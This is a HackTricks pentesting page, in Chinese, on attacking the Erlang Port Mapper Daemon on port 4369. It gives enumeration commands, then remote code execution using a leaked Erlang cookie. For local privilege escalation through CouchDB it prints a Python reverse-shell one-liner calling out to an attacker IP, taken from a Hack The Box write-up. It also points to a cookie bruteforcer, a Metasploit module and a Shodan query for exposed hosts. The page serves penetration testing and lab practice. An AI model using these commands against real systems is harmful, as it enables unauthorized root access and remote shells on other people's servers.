hacktricks/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md

86 lines
3.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
# 基本信息
**Erlang Port Mapper Daemon (epmd)** 作为分布式 Erlang 实例的协调者。它负责将符号节点名称映射到机器地址,基本上确保每个节点名称与特定地址相关联。**epmd** 的这一角色对于不同 Erlang 节点在网络中的无缝交互和通信至关重要。
**默认端口**4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
这在 RabbitMQ 和 CouchDB 安装中默认使用。
# 枚举
## 手动
```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```
## 自动
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
# Erlang Cookie RCE
## Remote Connection
如果你能**泄露认证 cookie**,你将能够在主机上执行代码。通常,这个 cookie 位于 `~/.erlang.cookie`,并在 Erlang 首次启动时生成。如果没有手动修改或设置,它是一个长度为 20 个字符的随机字符串 \[A:Z]。
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
更多信息请访问 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
作者还分享了一个用于暴力破解 cookie 的程序:
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## 本地连接
在这种情况下,我们将利用 CouchDB 来提升本地权限:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
示例取自 [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
您可以使用 **Canape HTB 机器来** **练习** 如何 **利用此漏洞**
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
# Shodan
- `port:4369 "在端口"`
{{#include ../banners/hacktricks-training.md}}